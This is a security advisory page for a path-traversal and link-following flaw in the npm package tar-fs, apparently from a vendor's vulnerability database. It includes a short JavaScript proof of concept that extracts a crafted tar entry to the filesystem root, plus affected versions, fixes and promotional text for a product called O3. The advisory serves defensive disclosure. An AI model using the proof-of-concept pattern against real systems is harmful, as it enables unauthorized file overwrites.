GHSA-pq67-2wwv-3xjx
HIGHtar-fs Vulnerable to Link Following and Path Traversal via Extracting a Crafted tar File
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
tar-fsnpmDescription
An Improper Link Resolution Before File Access ("Link Following") and Improper Limitation of a Pathname to a Restricted Directory ("Path Traversal"). This vulnerability occurs when extracting a maliciously crafted tar file, which can result in unauthorized file writes or overwrites outside the intended extraction directory. The issue is associated with index.js in the tar-fs package.
This issue affects tar-fs: from 0.0.0 before 1.16.4, from 2.0.0 before 2.1.2, from 3.0.0 before 3.0.7.
PoC
// Create a writable stream to extract the tar content
const extractStream = tarfs.extract('/', {
// We can ignore the file type checks to allow the extraction of the malicious file
ignore: (name) => false,
});
// Create a tar stream
const tarStream = tarfs.pack().on('error', (err) => {
throw err;
});
// Append the malicious entry to the tar stream
tarStream.entry({ name: '/flag.txt', mode: 0o644 }, Buffer.from('This is a flag!'));
// Finalize the tar stream
tarStream.finalize();
// Pipe the tar stream into the extract stream
tarStream.pipe(extractStream);
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | tar-fs | all versions | 1.16.4 |
| 📦npm | tar-fs | ≥ 2.0.0&&< 2.1.2 | 2.1.2 |
| 📦npm | tar-fs | ≥ 3.0.0&&< 3.0.7 | 3.0.7 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
tar-fs 3.0.0 - Arbitrary File Write/Overwrite
by cybersploit · Apr 22, 2025
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for tar-fs. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update tar-fs to 1.16.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-pq67-2wwv-3xjx is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-pq67-2wwv-3xjx is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-pq67-2wwv-3xjx. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-pq67-2wwv-3xjx in your dependencies?
O3 detects GHSA-pq67-2wwv-3xjx across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.